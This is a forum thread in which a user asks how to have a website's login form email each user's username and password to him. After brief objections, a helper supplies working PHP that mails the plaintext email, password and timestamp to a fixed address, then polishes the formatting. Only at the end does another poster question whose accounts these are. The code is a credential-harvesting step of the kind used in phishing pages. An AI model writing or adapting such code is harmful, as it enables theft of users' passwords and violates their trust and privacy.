Need some help with security code

[Borntobewild]

Iam trying to create a php script that do this:

user logs in @ my website,
filled details send ->> email

I realy have no idea to get this working.

Any help would be awesome!

[jSherz]

Are you planning to e-mail both the username and password? E-mail isn't usually over a secure connection (so could be intercepted) and isn't encrypted. Also, the safety of your users then depends on the security of the e-mail account - in addition to the suspicion your users could place on you for recording their login details.

[Borntobewild]

Are you planning to e-mail both the username and password? E-mail isn't usually over a secure connection (so could be intercepted) and isn't encrypted. Also, the safety of your users then depends on the security of the e-mail account - in addition to the suspicion your users could place on you for recording their login details.

Mmm whats a better way then?
But do you know the code for this?
I already searched the whole web but non of them are the one i am searching for.

[Borntobewild]

I have this code but i only get username.
Without password.

<?
$email = ( "myemail@mail.com" );
$message = $_POST['email'] ;
mail( "myemail@mail.com", "Email

Subject", $message, "From: $email " );
print "Congratulations your email has been

sent";
?>
 

[jSherz]

Why do you need to be sent the users' login information?

[Borntobewild]

Why do you need to be sent the users' login information?

Just for security reasons.

[jSherz]

You'd just pick up the password as you would the email:

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$email = "myemail@mail.com";
$to = 'myemail@mail.com';
$subject = 'Login Record';
$message = "User Login\n\nE-mail: " . $_POST['email'] . "\nPassword: " . $_POST['password'];

$result = mail($to, $subject, $message, "From: $email ");

if($result) {
    echo "Congratulations your email has been sent";
} else {
    echo "E-mail sending failed!";
}

[Borntobewild]

You'd just pick up the password as you would the email:

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$email = "myemail@mail.com";
$to = 'myemail@mail.com';
$subject = 'Login Record';
$message = "User Login\n\nE-mail: " . $_POST['email'] . "\nPassword: " . $_POST['password'];

$result = mail($to, $subject, $message, "From: $email ");

if($result) {
    echo "Congratulations your email has been sent";
} else {
    echo "E-mail sending failed!";
}

Thanks, realy..
I was searching for this for months!
But can i ask you 1 more thing please?
For a little more security, i want the day and the hour it's filled.
I have this code already but i have realy no idea where to place this.
Is it also possible to automatically show this?:

Instead of:

abc
123

This:

user= abc
pass= 123

Code:
$subdate = date("d/m/Y (G:i)");

Thanks in advance 

[jSherz]

PHP Code: [Select]

$message = "User Login\n\nuser= " . $_POST['email'] . "\npass= " . $_POST['password'] . "\ndate_time= " . date("d/m/Y (G:i)");

[Borntobewild]

$message = "User Login\n\nuser= " . $_POST['email'] . "\npass= " . $_POST['password'] . "\ndate_time= " . date("d/m/Y (G:i)");

Awesome!
Much appreciated dude 

What is the job of this actualy?: \n\ ?

Are these the command to create another line?
Because i tried to put that command after . $_POST['password']
to get this:

User Login
 
user= abc
pass= 123

time= 05/01/2012 (15:27)

Instead of:

User Login
 
user= abc
pass= 123
time= 05/01/2012 (15:27)


But i only get this syntax error:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /userlogin.php on line 7

Parse error: syntax error, unexpected T_STRING in /userlogin.php on line 7

[jSherz]

How did you modify the code? For that, you should have added an extra \n:

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$message = "User Login\n\nuser= " . $_POST['email'] . "\npass= " . $_POST['password'] . "\n\ndate_time= " . date("d/m/Y (G:i)");

[Borntobewild]

How did you modify the code? For that, you should have added an extra \n:

PHP Code: [Select]

$message = "User Login\n\nuser= " . $_POST['email'] . "\npass= " . $_POST['password'] . "\n\ndate_time= " . date("d/m/Y (G:i)");

Mmm i guess i placed it on the wrong place.
Is it also possible to use colored text in php?
Like:

Login user:

[Borntobewild]

Mmm i guess i placed it on the wrong place.
Is it also possible to use colored text in php?
Like:

Login user:

I can't find the codes for Outlook.
Also tried with HTML color codes but does not take any effect.
Maybe i put them at the wrong place or something?

[Borntobewild]

I can't find the codes for Outlook.
Also tried with HTML color codes but does not take any effect.
Maybe i put them at the wrong place or something?

<font size='3' color='red'>
This code also does not take effect.
Mmm

[RaythXC]

Certain email headers must be added in order for HTML emails to be sent.
Before i continue assistance, are they logging into YOUR website and it is an account on YOUR website?